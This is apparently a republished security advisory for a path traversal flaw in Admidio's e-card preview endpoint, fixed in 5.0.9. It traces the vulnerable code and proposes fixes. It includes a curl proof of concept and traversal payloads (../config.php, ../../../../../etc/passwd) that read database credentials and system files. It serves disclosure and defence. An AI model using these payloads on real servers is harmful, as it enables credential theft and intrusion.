Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials
Summary
The ecard_preview.php endpoint does not validate that the ecard_template POST parameter is a safe filename before passing it to ECard::getEcardTemplate(). An authenticated user can supply a path traversal payload (e.g., ../config.php) to read arbitrary files accessible to the web server process, including adm_my_files/config.php which contains database credentials.
Details
Root Cause: The ecard_template parameter is a select box whose value is only sanitized via strStripTags() during form validation, which does not restrict path traversal characters. Unlike ecard_send.php which explicitly validates the template name as a safe filename, ecard_preview.php omits this check entirely.
Code Path:
-
modules/photos/ecards.php:143-152— The form creates a select box with template filenames fromadm_my_files/ecard_templates/. The form object is stored in the session. -
modules/photos/ecard_preview.php:33-34— The POST request is validated against the stored form object:
$categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $categoryEditForm->validate($_POST);
-
src/UI/Presenter/FormPresenter.php:2190-2243— Thevalidate()method appliesStringUtils::strStripTags()to all values and performs type-specific checks forcaptcha,date,editor,email,number,url, anduuid— but has no validation case for select box values. The attacker-controlled value../config.phppasses through unchanged. -
modules/photos/ecard_preview.php:48— The unvalidated value is passed directly togetEcardTemplate():
$ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']);
src/Photos/ValueObject/ECard.php:67-77— The filename is concatenated into the path and opened:
public function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string
{
if ($tplFolder === '') {
$tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/';
}
// ...
$fileHandle = @fopen($tplFolder . $tplFilename, 'rb');
With $tplFilename = '../config.php', this resolves to ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php → ADMIDIO_PATH/adm_my_files/config.php.
Why ecard_send.php is NOT vulnerable: At line 35, it independently validates the template name:
$postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true));
This calls strIsValidFileName() which checks basename($filename) !== $filename, blocking any path traversal. The preview endpoint lacks this check.
PoC
# Step 1: Log in and visit the ecard form to create a session with a form object
# Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1
# Extract the adm_csrf_token from the rendered form HTML
# Step 2: Send path traversal payload to read config.php (contains DB credentials)
curl -b 'PHPSESSID=<session_cookie>' \
-X POST 'https://target/modules/photos/ecard_preview.php' \
-d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview'
# The response body will contain the contents of adm_my_files/config.php
# rendered inside the ecard preview HTML, including:
# $g_adm_srv (database host)
# $g_adm_db (database name)
# $g_adm_usr (database username)
# $g_adm_pw (database password)
# To traverse further outside adm_my_files:
# ecard_template=../../system/bootstrap/constants.php (reads PHP source)
# ecard_template=../../../../../etc/passwd (reads system files)
Impact
- Database credential disclosure: Any authenticated user can read
adm_my_files/config.php, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise. - Source code disclosure: Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.
- System file disclosure: With sufficient traversal depth (
../../../../../etc/passwd), system files can be read, aiding further attacks. - Low barrier to exploit: Only requires a regular member account — no admin privileges needed.
Recommended Fix
Add filename validation to ecard_preview.php before passing the template name to getEcardTemplate(), matching the validation already present in ecard_send.php:
// In modules/photos/ecard_preview.php, add BEFORE line 48:
$postTemplateName = admFuncVariableIsValid(
$formValues, 'ecard_template', 'file', array('requireValue' => true)
);
$ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName);
Alternatively, add select box value validation to FormPresenter::validate() to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:
// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():
case 'select':
if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) {
throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label']));
}
break;
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | admidio/admidio | < 5.0.9 | 5.0.9 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-22- Platform
- Composer
- Package
admidio/admidio- Disclosed
- 29.04.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m3vp-3jjm-gpmx - CC BY 4.0
Vulnerability history: admidio/admidio
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 50
- First → latest
- 03.2022 07.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 10
- Medium 33
- Low 4
Disclosures per year
- 2022: 3
- 2023: 7
- 2024: 3
- 2025: 1
- 2026: 36
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Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials this entry
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